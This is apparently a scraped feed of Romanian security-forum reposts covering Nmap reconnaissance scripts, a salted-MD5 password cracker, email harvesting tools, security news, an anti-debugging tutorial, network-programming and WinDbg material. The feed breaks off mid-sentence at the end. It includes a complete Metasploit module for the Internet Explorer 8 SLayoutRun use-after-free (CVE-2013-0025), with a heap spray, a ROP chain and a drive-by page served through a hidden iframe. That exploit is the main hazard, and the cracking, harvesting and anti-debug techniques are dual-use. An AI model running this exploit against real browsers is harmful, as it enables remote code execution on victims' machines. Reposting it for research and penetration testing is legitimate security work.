Information Gathering With Nmap Nmap is tool that can perform various activities in a penetration test.The function of NSE (Nmap Scripting Engine) and the scripts that have written so far they can transform Nmap to a multi purpose tool.For example we can use Nmap during the information gathering stage of a penetration test just by using the appropriate scripts.In this article we will examine those scripts and the information that we can extract. One of our first steps it can be to determine the origin of the IP address that our client has given to us.Nmap includes in his database a couple of scripts for this purpose.If we want to run all these scripts we can use the following command as it can be seen in the image below: Nmap – IP Geolocation As we can see the script called an external website (geobytes) in order to determine the coordinates and location of our target. Whois The command Whois can be run directly through the console in Linux environments.However there is a specific script for Nmap that performs the same job and it can be used.This script will return information about the registrar and contact names. Nmap – Whois Email Accounts Email accounts can prove also important in a penetration test as it can be used as usernames,in social engineering engagements (i.e Phishing Attacks)or in a situation where we have to conduct brute force attacks against the mail server of the company.There are two scripts available for this job: http-google-email http-email-harvest The http-google-email script uses the Google Web and Google Groups in order to search for emails about the target host while the http-email-harvest spiders the web server and extracts any email addresses that it discovers.The http-email-harvest is in the official repository of Nmap and the http-google-email script can be downloaded from here. Nmap – Discover Email Accounts Brute Force DNS Records DNS records contains a lot of information about a particular domain which cannot be ignored.Of course there are specific tools for brute forcing DNS records which can produce better results but the dns-brute script can perform also this job in case that we want to extract DNS information during our Nmap scans. Nmap – Brute Forcing DNS Discovering Additional Hostnames We can discover additional hostnames that are based on the same IP address with the nmap script http-reverse-ip.This script can help us to find other web applications that exist on the same web server.It is an external script that can be downloaded from here. Nmap – Reverse IP Conclusion In this article we examined some Nmap scripts (internal and external) that can be used during the information gathering stage of a penetration test and before we start the actual scanning.The information that we have obtained proves that Nmap can perform almost any task with his scripts.If it cannot do something that you want then it is time to write your own Lua scripts and to contribute to the community. Sursa: Information Gathering With Nmap

Am si eu o nelamurire... Ce dracu facea "virusu" asta? Am inteles ca "nu puteai face nimic" pana nu introduceai nu stiu ce cod care trebuia platit. Bun: disable task manager, fereastra fullscren, block input... Mai exact vreo 3 linii de cod. Sau avea ceva special si nu stiu eu?

[TABLE=align: left] [TR] [TD][TABLE=width: 100%] [TR] [TD=align: justify]MD5 Salted Hash Kracker is the free tool to crack and recover your lost password from the salted MD5 hash. [/TD] [/TR] [/TABLE] [/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD=align: justify] These days most websites and applications use salt based MD5 hash generation to prevent it from being cracked easily using precomputed hash tables such as Rainbow Crack. In such cases, 'MD5 Salted Hash Kracker' will help you to recover your lost password from salted MD5 hash. It uses dictionary based cracking method which makes the cracking operation simple and easier. By default small dictionary file is included but you can find good collection of password dictionaries (also called wordlist) here & here Though it supports only Dictinary Crack method, you can easily use tools like Crunch, Cupp to generate brute-force based or any custom password list file and then use it with 'MD5 Salted Hash Kracker'. It also allow you to specify the salt position either in the beginning of password [ md5(salt+password)] or at the end of the password [md5(password+salt)]. In case you want to perform normal MD5 hash cracking without the salt then just leave the Salt field blank. It works on both 32-bit & 64-bit Windows platforms starting from Windows XP to Windows 8. [/TD] [/TR] [/TABLE] [TABLE=align: left] [TR] [TD=class: page_subheader]Screenshots[/TD] [/TR] [TR] [TD=align: center] [/TD] [/TR] [TR] [TD]Screenshot 1: MD5 Salted Hash Kracker is showing the recovered Password for MD5 hash text.[/TD] [/TR] [TR] [TD] [/TD] [/TR] [TR] [TD=align: center] [/TD] [/TR] [TR] [TD] [/TD] [/TR] [TR] [TD] [/TD] [/TR] [TR] [TD]Screenshot 2: MD5 Hash Password Recovery report generated by MD5SaltedHashKracker[/TD] [/TR] [TR] [TD] [/TD] [/TR] [TR] [TD=align: center] [/TD] [/TR] [TR] [TD] Info: MD5 Salted Hash Kracker : Salted MD5 Hash Password Cracker and Recovery Software Download: http://securityxploded.com/download.php#md5saltedhashkracker [/TD] [/TR] [/TABLE]

[h=1][Kernel-Sources] Xperia Z [/h] Open source download for Xperia™ Z (SO-02E); software version 10.1.D.0.317. http://dl-developer.sonymobile.com/code/copylefts/10.1.D.0.317.tar.bz2 Links: - [Kernel-Sources] Xperia Z (SO-02E) {FW: 10.1.D.0.317} - xda-developers - Xperia Z - 4.1.2 - 10.1.A.1.350 - C6602 / C6603 Firmware - for DEVS - xda-developers - DoCoMo SO-02E Xperia Z - 4.1.2 - 10.1.D.0.317 Firmware - for DEVS - xda-developers - [system dump] Xperia Z C6603 10.1.A.1.350 - xda-developers

[sqlI] Join syntax

Hook Analyser Malware Tool 2.3 Authored by Beenu Arora | Site hookanalyser.blogspot.com Hook Analyser is a hook tool which can be potentially helpful in reversing applications and analysing malware. It can hook to an API in a process and search for a pattern in memory or dump the buffer. Changes: New digger module that allows dumping of exes, dlls, and drivers from an executable to separate files. New packer detection and hexdump modules added. Download: http://packetstormsecurity.com/files/download/120310/HookAnalyser2.3.zip Sursa: Hook Analyser Malware Tool 2.3 ? Packet Storm

[h=1]Largest Percentage of 2012 Cyberattacks Originated in Romania, Study Finds[/h]February 15th, 2013, 00:09 GMT · By Eduard Kovacs Most security solutions providers are rushing to release their 2013 threat reports and Trustwave is among them. The company has released its 2013 Trustwave Global Security Report, which highlights the trends from the analysis of over 450 data breaches. In addition to the data breaches, the study is also based on more than 2,500 penetration tests, 2 million network and vulnerability scans, 9 million web application attacks, 5 million malicious websites, 20 billion emails, and several zero-day exploits. The figures reveal that applications have become the most popular attack vector, with e-commerce sites being the number one targeted assets. Worryingly, in 64% of cases, it took attacked organizations more than 90 days to detect an intrusion. The average time for detection was 210 days, which is 35 days longer than it did in 2011. Weak passwords, clicking on malicious links and other risky employee behavior leave the door open for further attacks, the study has found. Of all the intrusion methods identified in 2012, SQL Injection and remote access were the most prevalent, accounting for 73% of infiltration methods. Cyberattacks were discovered in 29 countries, but curiously, the largest percentage (34.4%) of them originated in Romania. When it comes to malware, 40 variations of malware have been found in the 450 cases investigated by Trustwave. It’s believed that 6 criminal groups are responsible for developing them. And since we’re talking about malware, it appears the US and Russia are the largest contributors to malware attacks. “Cybercriminals will never stop trying to compromise systems to obtain valuable information such as customer and private user data, corporate trade secrets and payment card information,” explained Robert McCullen, CEO, chairman and president of Trustwave. “This year’s Global Security Report pulls back the curtain revealing how breaches happen and how potential victims around the world can protect themselves so that they stay one step ahead and eliminate potential security threats.” The complete report will be made available before the RSA Conference in San Francisco. Users who want to receive a complimentary copy can sign up for one here. Sursa: Largest Percentage of 2012 Cyberattacks Originated in Romania, Study Finds - Softpedia

Internet Explorer SLayoutRun Use After Free Vulnerability Description A Use-after-free memory corruption vulnerability was identified in Microsoft Internet Explorer 8. This allows a malicious user to remotely execute arbitrary code on a vulnerable user’s machine, in the context of the current user. The memory corruption happens when the application of a style sheet performs style computations on the DOM. A CParaElement node is released but a reference is still kept in CDoc. This memory is reused when a CDoc relayout is performed. Exploitation Exploitation of this vulnerability requires a user to visit a page containing specially crafted JavaScript. Users can generally be lured to visit web pages via email, instant message or links on the internet. Vulnerabilities like this are often hosted on legitimate websites which have been compromised by other means. Due to the inability to dynamically create an object while still triggering the vulnerability, a clean vtable overwrite was not possible. To exploit this vulnerability a ‘pray-after-free’ approach was taken. This approach works by filling memory with incremental sized blocks in the hope that an allocation of the correct size will be placed into the memory location of the freed object. Below is a Metasploit module which exploits this vulnerability: ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::RopDb def initialize(info={}) super(update_info(info, 'Name' => "Microsoft Internet Explorer SLayoutRun Use-After-Free", 'Description' => %q{ This module exploits a use-after-free vulnerability in Microsoft Internet Explorer where a CParaElement node is released but a reference is still kept in CDoc. This memory is reused when a CDoc relayout is performed. }, 'License' => MSF_LICENSE, 'Author' => [ 'Scott Bell <scott.bell@security-assessment.com>', # Vulnerability discovery & Metasploit module ], 'References' => [ [ 'CVE', '2013-0025' ], [ 'MSB', 'MS13-009' ], [ 'URL', 'http://security-assessment.com/files/documents/advisory/ie_slayoutrun_uaf.pdf' ], ], 'Payload' => { 'BadChars' => "\x00", 'Space' => 1024, 'DisableNops' => true, 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff", }, 'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', {} ], [ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => 0x5f4 } ] ], 'Privileged' => false, 'DisclosureDate' => "Feb 13 2013", 'DefaultTarget' => 0)) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) ], self.class) end def get_target(agent) #If the user is already specified by the user, we'll just use that return target if target.name != 'Automatic' nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' ie = agent.scan(/MSIE (\d)/).flatten[0] || '' ie_name = "IE #{ie}" case nt when '5.1' os_name = 'Windows XP SP3' end targets.each do |t| if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name)) print_status("Target selected as: #{t.name}") return t end end return nil end def heap_spray(my_target, p) js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch)) js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch)) js = %Q| var heap_obj = new heapLib.ie(0x20000); var code = unescape("#{js_code}"); var nops = unescape("#{js_nops}"); while (nops.length < 0x80000) nops += nops; var offset = nops.substring(0, #{my_target['Offset']}); var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length); while (shellcode.length < 0x40000) shellcode += shellcode; var block = shellcode.substring(0, (0x80000-6)/2); heap_obj.gc(); for (var i=1; i < 0x300; i++) { heap_obj.alloc(block); } var overflow = nops.substring(0, 10); | js = heaplib(js, {:noobfu => true}) if datastore['OBFUSCATE'] js = ::Rex::Exploitation::JSObfu.new(js) js.obfuscate end return js end def get_payload(t, cli) code = payload.encoded # No rop. Just return the payload. return code if t['Rop'].nil? # ROP chain generated by mona.py - See corelan.be case t['Rop'] when :msvcrt print_status("Using msvcrt ROP") rop_nops = [0x77c39f92].pack("V") * 11 # RETN rop_payload = generate_rop_payload('msvcrt', "", {'target'=>'xp'}) rop_payload << rop_nops rop_payload << [0x77c364d5].pack("V") # POP EBP # RETN rop_payload << [0x77c15ed5].pack("V") # XCHG EAX, ESP # RETN rop_payload << [0x77c35459].pack("V") # PUSH ESP # RETN rop_payload << [0x77c39f92].pack("V") # RETN rop_payload << [0x0c0c0c8c].pack("V") # Shellcode offset rop_payload << code end return rop_payload end def this_resource r = get_resource return ( r == '/') ? '' : r end def get_exploit(my_target, cli) p = get_payload(my_target, cli) js = heap_spray(my_target, p) html = %Q| <!doctype html> <html> <head> <script> var data var objArray = new Array(1800); #{js} setTimeout(function(){ for (var i=0;i<objArray.length;i++){ objArray[i] = document.createElement('body'); document.body.appendChild(objArray[i]) objArray[i].style.display = "none" } document.body.style.whiteSpace = "pre-line" for(var i=0;i<10;i++){ for (var i=0;i<(objArray.length-650);i++){ objArray[i].className = data += unescape("%u0c0c%u0c0c"); } } setTimeout(function(){document.body.innerHTML = "boo"}, 100) }, 100) </script> </head> <body> <p> </p> </body> </html> | return html end def get_iframe html = %Q| <html> <body> <iframe src="#{this_resource}/#{@iframe_name}" height="1" width="1"></iframe> </body> </html> | return html end def on_request_uri(cli, request) agent = request.headers['User-Agent'] uri = request.uri print_status("Requesting: #{uri}") my_target = get_target(agent) # Avoid the attack if no suitable target found if my_target.nil? print_error("Browser not supported, sending 404: #{agent}") send_not_found(cli) return end if uri =~ /#{@iframe_name}/ html = get_exploit(my_target, cli) html = html.gsub(/^\t\t/, '') print_status("Sending HTML...") elsif uri=~ /\/$/ html = get_iframe print_status "Sending IFRAME..." end send_response(cli, html, {'Content-Type'=>'text/html'}) end def exploit @iframe_name = "#{Rex::Text.rand_text_alpha(5)}.html" super end end Metasploit module: www.security-assessment.com/files/documents/advisory/ms13_009_ie_slayoutrun_uaf.rb Paper: http://www.security-assessment.com/files/documents/advisory/ms13_009_ie_slayoutrun_uaf.pdf Sursa: Microsoft Internet Explorer 8 Use-After-Free ? Packet Storm

Recent Advances In Ipv6 Security Description: The IPv6 protocol suite was designed to accommodate the present and future growth of the Internet, and is expected to be the successor of the original IPv4 protocol suite. It has already been deployed in a number of production environments, and many organizations have already scheduled or planned its deployment in the next few years. Additionally, a number of activities such as the World IPv6 Day in 2011 and the upcoming World IPv6 Launch Day (scheduled for June 2012) have led to an improvement in IPv6 awareness and an increase in the number of IPv6 deployments. There are a number of factors that make the IPv6 protocol suite interesting from a security standpoint. Firstly, being a new technology, technical personnel has much less confidence with the IPv6 protocols than with their IPv4 counterpart, and thus it is more likely that the security implications of the protocols be overlooked when the protocols are deployed. Secondly, IPv6 implementations are much less mature than their IPv4 counterparts, and thus it is very likely that a number of vulnerabilities will be discovered in them before their robustness matches that of the existing IPv4 implementations. Thirdly, security products such as firewalls and NIDS's (Network Intrusion Detection Systems) usually have less support for the IPv6 protocols than for their IPv4 counterparts, either in terms of features or in terms of performance. Fourthly, the security implications of IPv6 transition/co-existence technologies on existing IPv4 networks are usually overlooked, potentially enabling attackers to leverage these technologies to circumvent IPv4 security measures in unexpected ways. During the last few years, the UK CPNI (Centre for the Protection of National Infrastructure) carried out the first comprehensive security assessment of the Internet Protocol version 6 (IPv6) and related technologies (such as transition/co-existence mechanisms). The result of the aforementioned project is a series of documents that provide advice both to programmers implementing the IPv6 protocol suite and to network engineers and security administrators deploying or operating the protocols. Part of the results of the aforementioned project have been recently published, leading to a number of improvements in many IPv6 implementations, and in the protocol specifications themselves. Fernando Gont will discuss the results of the aforementioned project, introducing the attendees to the "state of the art" in IPv6 security, and providing advice on how to deploy the IPv6 protocols securely. Gont will also discusss recent advances in IPv6 security areas such as Denial of Service attacks, firewall circumvention, network reconnaissance, and First-Hop security, and will describe other IPv6 security areas in which further work is needed. Finally, he will describe some vulnerabilities found in popular IPv6 implementations, such as NDbased Denial of Service attacks, and vulnerabilities arising from the use of predictable IPv6 Fragment Identification or Flow Label values. Disclaimer: We are a infosec video aggregator and this video is linked from an external website. The original author may be different from the user re-posting/linking it here. Please do not assume the authors to be same without verifying. Original Source: Sursa: Recent Advances In Ipv6 Security

[h=1]theHarvester 2.2a![/h]by Mayuresh on February 13, 2013 “theHarvester is a tool for gathering emails, subdomains, hosts, employee names, open ports and banners from different public sources like search engines, PGP key servers and SHODAN computer database. This tools is intended to help Penetration testers in the early stages of the project. This is a complete rewrite of the tool with new features like: Time delays between request All sources search Virtual host verifier Active enumeration (DNS enumeration, Reverse lookups, TLD expansion) Integration with SHODAN computer database, to get the open ports and banners Save to XML and HTML Basic graph with stats New sources” [h=2]Official change log for theHarvester:[/h] Fixed Linkedin parser (thanks Alton Johnson and Francesco Stillavato) New banner with superpowers [h=3]Download theHarvester:[/h] theHarvester 2.2a – theHarvester-2.2a.tar.gz Sursa: theHarvester version 2.2a! — PenTestIT

Anti-Debugging: Detecting System Debugger Dejan Lukan February 14, 2013 Introduction In the previous tutorial, we’ve talked about techniques that harden the reverse engineering of the executable and then we looked at anti-debugging techniques. We’ve mentioned the IsDebuggerPresent function and analyzed it in depth. Now in this tutorial, we’re going to look at other ways we can use anti-debugging techniques to detect whether a debugger is being used to debug the program in question. SystemKernelDebuggerInformation The SystemKernelDebuggerInformation function can be used to determine if a kernel debugger is currently being attached to the system. We can retrieve specified system information with functions like NtQuerySystemInformation or ZwQuerySystemInformation. Let’s take a look at the NtQuerySystemInformation function first; the syntax of which is as follows: NTSTATUS WINAPI NtQuerySystemInformation( _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, _Inout_ PVOID SystemInformation, _In_ ULONG SystemInformationLength, _Out_opt_ PULONG ReturnLength ); We need to pass four parameters to the function: SystemInformationClass: the type of the system information that we would like to retrieve. Possible values are: SystemBasicInformation, SystemExceptionInformation, etc [1]. SystemInformation: a pointer to a buffer that receives the requested information [1]. SystemInformationLength: the size of the buffer pointed to by the SystemInformation parameter. ReturnLength: an optional pointer to a location where the function writes the actual size of the information requested. The ZwQuerySystemInformation function is basically the same as NtQuerySystemInformation, so we won’t describe it in detail. Let’s just present its syntax, which can be seen below: NTSTATUS WINAPI ZwQuerySystemInformation( _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, _Inout_ PVOID SystemInformation, _In_ ULONG SystemInformationLength, _Out_opt_ PULONG ReturnLength ); It’s a common belief that we should use Zw functions when doing really low level stuff, so we’ll use that function in our example. At the end of the MSDN function call API reference, there’s an important sentence that says the following: “If you do use ZwQuerySystemInformation, access the function through run-time dynamic linking. This gives your code an opportunity to respond gracefully if the function has been changed or removed from the operating system. Signature changes, however, may not be detectable. This function has no associated import library. You must use the LoadLibrary and GetProcAddress functions to dynamically link to Ntdll.dll.” This means that we can’t just include the Ntdll library into our program and call the function directly. Instead, we must dynamically load the Ntdll.dll library into the process and get the address of the function before calling it. At first, we can write a program like this to confirm that the function we would like to call is indeed accessible in the Ntdll.dll library: #include "stdafx.h" #include <stdio.h> #include <windows.h> #include <Winternl.h> int _tmain(int argc, _TCHAR* argv[]) { typedef long NTSTATUS; #define STATUS_SUCCESS ((NTSTATUS)0L) HANDLE hProcess = GetCurrentProcess(); typedef struct _SYSTEM_KERNEL_DEBUGGER_INFORMATION { BOOLEAN DebuggerEnabled; BOOLEAN DebuggerNotPresent; } SYSTEM_KERNEL_DEBUGGER_INFORMATION, *PSYSTEM_KERNEL_DEBUGGER_INFORMATION; enum SYSTEM_INFORMATION_CLASS { SystemKernelDebuggerInformation = 35 }; typedef NTSTATUS (__stdcall *ZW_QUERY_SYSTEM_INFORMATION)(IN SYSTEM_INFORMATION_CLASS SystemInformationClass, IN OUT PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength); ZW_QUERY_SYSTEM_INFORMATION ZwQuerySystemInformation; SYSTEM_KERNEL_DEBUGGER_INFORMATION Info; /* load the ntdll.dll */ HMODULE hModule = LoadLibrary(_T("ntdll.dll")); ZwQuerySystemInformation = (ZW_QUERY_SYSTEM_INFORMATION)GetProcAddress(hModule, "ZwQuerySystemInformation"); if(ZwQuerySystemInformation == NULL) { printf("Error: could not find the function ZwQuerySystemInformation in library ntdll.dll."); exit(-1); } printf("ZwQuerySystemInformation is located at 0x%08x in ntdll.dll.\n", (unsigned int)ZwQuerySystemInformation); if (STATUS_SUCCESS == ZwQuerySystemInformation(SystemKernelDebuggerInformation, &Info, sizeof(Info), NULL)) { if (Info.DebuggerEnabled && !Info.DebuggerNotPresent) { printf("System debugger is present."); } else { printf("System debugger is not present."); } } /* wait */ getchar(); return 0; } We can see that we’ve called the LoadLibrary function to load the Ntdll.dll library into the current program’s address space. After that, we take the handle of the currently loaded module Ntdll.dll and use it within the GetProcAddress function call to get the address of the ZwQuerySystemInformation function. We then check whether the returned address is NULL, in which case the function is not present in the Ntdll.dll library so we print an error message about the absence of the function and terminate the program. Otherwise, the function is present in the Ntdll.dll library, so we print its address. When we compile the program, the address of the function will be displayed. After that, we call the ZwQuerySystemInformation function to get the SystemKernelDebuggerInformation information that we need. We save the result in Info variable, which we then use to check if Info.DebuggerEnabled is true and if Info.DebuggerNotPresent is false. If both conditions hold, then we print that the system debugger is present, otherwise we print that the system debugger is not present. Because we don’t have a system debugger attached, the message saying system debugger not being present is displayed, as we can see on the picture below: Trap Flag Here we’ll exploit the fact that every debugger uses the TP in EFLAGS register when debugging the process. This can be used by setting the trap flag manually in the current process and checking if the exception is raised or not by the use of try-catch statements. If the except{} block is not called, then a debugger handled the exception and it is currently debugging the process. But if the except{} block was called, then a debugger isn’t present and the process is executing normally without being debugged. This approach detects user-mode as well as kernel-mode debuggers, because they all use the trap flag for debugging a program. The following code is taken from [2] and is the implementation of the above description: #include "stdafx.h" #include <stdio.h> #include <windows.h> int _tmain(int argc, _TCHAR* argv[]) { BOOL bExceptionHit = FALSE; __try { _asm { pushfd or dword ptr [esp], 0x100 popfd // Set the Trap Flag // Load value into EFLAGS register nop } } __except(EXCEPTION_EXECUTE_HANDLER) { bExceptionHit = TRUE; // An exception has been raised – // there is no debugger. } if (bExceptionHit == FALSE) printf("A debugger is present.\n"); else printf("There is no debugger present.\n"); /* wait */ getchar(); return 0; } We can see that first, we initialize the Boolean variable bExceptionHit to false. Then we use the try-except block to execute some code. In the try block is some code that must be executed where if an exception occurs, the except{} block is called which sets the Boolean bExceptionHit variable to true. If we compile and run the program now under the Visual Studio debugger, the program will print a statement about the debugger being present, as we can see on the picture below: This is ok and proves that the above code works as expected, since it was clearly able to identify that a debugger is present. But if we copy the compiled executable to Desktop and run that executable in cmd.exe, we can see that the program will print the statement about the debugger not being present; we can see this on the picture below: This is proof that the above code works the way it should: it prints that the debugger is present when we’re running the program under the debugger and it prints that the debugger is not present when running the program normally. Let’s take a look at the try{} block: in it, we’re first saving the value of the flag register onto the stack. Then we’re xoring the value pushed on the stack with the number 0×100 and restoring the flag register’s value (the xored value). What follows is also one nop instruction that doesn’t do anything. So far it’s not exactly evident how the exception should occur because we’re not doing anything that could result in an invalid exception being executed, but wait a few moments and everything will become clear. If we load the program in Ida debugger, we can quickly locate the main function of the executable, which is presented on the picture below: In the main function, we first initialize the stack, but that’s really not important at the moment. What’s important is the assembly instruction from the C source code; we can see them on the picture above (notice the pushf instruction and the following 3 instructions). Those are exactly the instructions we’ve inputted in the C source code in the __asm block. If we set a breakpoint on the pushf instruction and run the program, the program will stop executing exactly on the pushf instruction because of the breakpoint. If we then step through the program, an exception will occur when trying to execute the “popf” instruction. We can see the exception occurring on the picture below: When we tried to execute the popf instruction, a new window pops up, notifying us that the instruction at address 0x41141E (which is exactly the popf instruction) is trying to set the trace bit in the flags register. Here we have a choice of either setting the trace bit, in which case we’re telling Ida to handle the exception by itself, so the program’s exception handler will not be invoked. If we press Run, we’re telling Ida to ignore setting the trace bit and instead generate an exception, which will successfully invoke the program’s exception handler routine and set the bExceptionHit to true. Actually, we can only choose to press the buttons “Run” or “Single step” but in either case, the program’s exception handling routine will be called, so the program will be able to determine that a debugger is being used to execute the program. But why does the exception occur? When the pushf instruction is executed, it will push the values presented on the picture below to the stack: So the value of 0×00000306 gets pushed to the stack at address 0x0012FE70. Then the xoring of the value 0×306 and 0×100 happens. Don’t worry about the [esp+0F8h+var_F8], which is displayed by Ida; the local variable var_F8 holds the value -0xF8, so the expression is actually [esp+0F8h-0F8h], which points exactly to the top of the stack [esp]. So the following operation happens next: 0×306 == 0011 0000 0110 0×100 == 0001 0000 0000 ———— XOR ————- 0×206 == 0010 0000 0110 The end result of the XOR operation is 0×206, which is the new value of the FLAGS register. This effectively inverts the 9th (if we start counting at 1) bit of EFLAGS register, which corresponds to the trap flag TP. Let’s also present the first 12 bits of the EFLAGS register, which can be seen below. Here we can clearly see that the 8th bit is the TF (if we start counting at 0). The picture is taken from the [3]. Basically, we’re inverting the value of the trap flag register, which causes the exception to be generated. We can then catch the exception, which notifies us that the debugger is not present. But if we can’t catch the exception, a debugger is clearly handling the exception and is not passing it on to the program to handle it. Conclusion We’ve seen two special techniques that can be used to detect whether a debugger is currently being used to run the executable or not. This can be a good way to detect if a user is debugging our application and to terminate the application if that happens, which effectively prevents users from debugging our application. References: [1]: http://msdn.microsoft.com/en-us/library/windows/desktop/ms724509(v=vs.85).aspx accessible at http://msdn.microsoft.com/en-us/library/windows/desktop/ms724509(v=vs.85).aspx. [2]: Eldad Eilam, Reversing, Secrets of Reverse Engineering. [3]: FLAGS register, accessible on FLAGS register - Wikipedia, the free encyclopedia. Sursa: InfoSec Institute Resources – Anti-Debugging: Detecting System Debugger

[h=1]White House Cybersecurity Executive Order[/h]Posted by Richard Li in Information Security on Feb 13, 2013 12:16:40 PM Last night, in the State of the Union, President Obama highlighted the risk that America faces from cyber-attack. He also signed an executive order on cybersecurity, expanding the availability of unclassified threat information to critical infrastructure companies and appointing NIST to lead the development of a cybersecurity framework. These are positive steps to improving the cybersecurity of America’s infrastructure, but there is far more that needs to be done to secure our infrastructure. Our digital infrastructure is pervasive, and an integral part of our daily lives. From basic services such as power and communications to healthcare, commerce, finance, and manufacturing – every major industry and service is dependent in some way on the technology grid. This grid is extremely vulnerable to attack. These attacks may take the form of a deliberate, targeted cyberterror-type attack. Of equal likelihood – and potentially with the same impact – is an untargeted attack, where attackers unleash malware into the wild, without a specific target in mind. The impact to our economy and security of a successful attack, whether targeted or not, can be catastrophic. We need to do much, much more, but fixing this problem is not easy. The cybersecurity legislation that sits in both the House and Senate are a good next step. Providing incentives for critical infrastructure providers to improve their cybersecurity based on risk assessments will be another key step. Investing in training skilled security analysts and engineers who can defend against cyber attacks will be critical. The US is expanding the Cyber Command to have 4,900 troops and civilians, up from 900. There are 58,000 troops in the US Special Operations Command alone. As the battlefield evolves from traditional sea, air, and land battles to urban and cyber warfare, we need to evolve our defenses and capability. What can we do? We need to continue to innovate and research these threats, and how they are evolving. We need to invest in growing our cyber workforce. And, most importantly, we need to recognize that every single system in the US can potentially be exploited, and needs to be protected. Sursa: https://community.rapid7.com/community/infosec/blog/2013/02/13/white-house-cybersecurity-executive-order

Beej's Guide to Network Programming Using Internet Sockets Brian "Beej Jorgensen" Hall beej@beej.us Version 3.0.15 July 3, 2012 Copyright © 2012 Brian "Beej Jorgensen" Hall Contents 1. Intro 1.1. Audience 1.2. Platform and Compiler 1.3. Official Homepage and Books For Sale 1.4. Note for Solaris/SunOS Programmers 1.5. Note for Windows Programmers 1.6. Email Policy 1.7. Mirroring 1.8. Note for Translators 1.9. Copyright and Distribution 2. What is a socket? 2.1. Two Types of Internet Sockets 2.2. Low level Nonsense and Network Theory 3. IP Addresses, structs, and Data Munging 3.1. IP Addresses, versions 4 and 6 3.2. Byte Order 3.3. structs 3.4. IP Addresses, Part Deux 4. Jumping from IPv4 to IPv6 5. System Calls or Bust 5.1. getaddrinfo()—Prepare to launch! 5.2. socket()—Get the File Descriptor! 5.3. bind()—What port am I on? 5.4. connect()—Hey, you! 5.5. listen()—Will somebody please call me? 5.6. accept()—"Thank you for calling port 3490." 5.7. send() and recv()—Talk to me, baby! 5.8. sendto() and recvfrom()—Talk to me, DGRAM-style 5.9. close() and shutdown()—Get outta my face! 5.10. getpeername()—Who are you? 5.11. gethostname()—Who am I? 6. Client-Server Background 6.1. A Simple Stream Server 6.2. A Simple Stream Client 6.3. Datagram Sockets 7. Slightly Advanced Techniques 7.1. Blocking 7.2. select()—Synchronous I/O Multiplexing 7.3. Handling Partial send()s 7.4. Serialization—How to Pack Data 7.5. Son of Data Encapsulation 7.6. Broadcast Packets—Hello, World! 8. Common Questions 9. Man Pages 9.1. accept() 9.2. bind() 9.3. connect() 9.4. close() 9.5. getaddrinfo(), freeaddrinfo(), gai_strerror() 9.6. gethostname() 9.7. gethostbyname(), gethostbyaddr() 9.8. getnameinfo() 9.9. getpeername() 9.10. errno 9.11. fcntl() 9.12. htons(), htonl(), ntohs(), ntohl() 9.13. inet_ntoa(), inet_aton(), inet_addr 9.14. inet_ntop(), inet_pton() 9.15. listen() 9.16. perror(), strerror() 9.17. poll() 9.18. recv(), recvfrom() 9.19. select() 9.20. setsockopt(), getsockopt() 9.21. send(), sendto() 9.22. shutdown() 9.23. socket() 9.24. struct sockaddr and pals 10. More References 10.1. Books 10.2. Web References 10.3. RFCs Index Trebuie sa il stiti... http://beej.us/guide/bgnet/output/html/singlepage/bgnet.html

[h=1]Defrag Tools: #27 - WinDbg - Configure Kernel Debugging[/h] [h=3]Download[/h] [h=3]How do I download the videos?[/h] To download, right click the file type you would like and pick “Save target as…” or “Save link as…” [h=3]Why should I download videos from Channel9?[/h] It's an easy way to save the videos you like locally. You can save the videos in order to watch them offline. If all you want is to hear the audio, you can download the MP3! [h=3]Which version should I choose?[/h] If you want to view the video on your PC, Xbox or Media Center, download the High Quality WMV file (this is the highest quality version we have available). If you'd like a lower bitrate version, to reduce the download time or cost, then choose the Medium Quality WMV file. If you have a Zune, WP7, iPhone, iPad, or iPod device, choose the low or medium MP4 file. If you just want to hear the audio of the video, choose the MP3 file. Right click “Save as…” MP3 (Audio only) [h=3]File size[/h] 34.1 MB MP4 (iPod, Zune HD) [h=3]File size[/h] 205.0 MB Mid Quality WMV (Lo-band, Mobile) [h=3]File size[/h] 126.6 MB High Quality MP4 (iPad, PC) [h=3]File size[/h] 448.8 MB Mid Quality MP4 (WP7, HTML5) [h=3]File size[/h] 313.6 MB High Quality WMV (PC, Xbox, MCE) In this episode of Defrag Tools, Andrew Richards, Chad Beeder and Larry Larsen continue looking at the Debugging Tools for Windows (in particular WinDbg). WinDbg is a debugger that supports user mode debugging of a process, or kernel mode debugging of a computer. This installment goes over the cables and configuration steps required to set up kernel mode debugging. We use these BCDEdit commands: bcdedit bcdedit /dbgsettings bcdedit /dbgsettings 1394 channel:42 bcdedit /dbgsettings net hostip:192.168.0.10 port:50000 key:a.b.c.d bcdedit /debug on bcdedit /debug off In the debug session, we use these commands: .crash .dump /f lm !lmi .reload /f !drvobj !drvobj <module> 2 bl bc * be <N> bd <N> bp <function> bm <wildcard> x <wildcard> g Make sure you watch Defrag Tools Episode #1 and Defrag Tools Episode #23 for instructions on how to get the Debugging Tools for Windows and how to set the required environment variables for symbol and source code resolution. Resources: NT Debugging Blog - How to Setup a Debug Crash Cart to Prevent Your Server from Flat Lining USBView USB3 Debugging Cable - Note, you must use a USB3 A-A cable designed for debugging, otherwise it will fry your box! Timeline: [00:45] - Kernel Debugging Cables [02:14] - USB 2.0 [04:13] - USB 3.0 - New in Windows 8/Windows RT [05:30] - 1394 (Firewire) [10:39] - Break [11:38] - Driver Objects [16:00] - Network - New in Windows 8/Windows RT [17:30] - Breakpoint commands [26:00] - Network - BCDEdit [33:37] - SecureBoot and 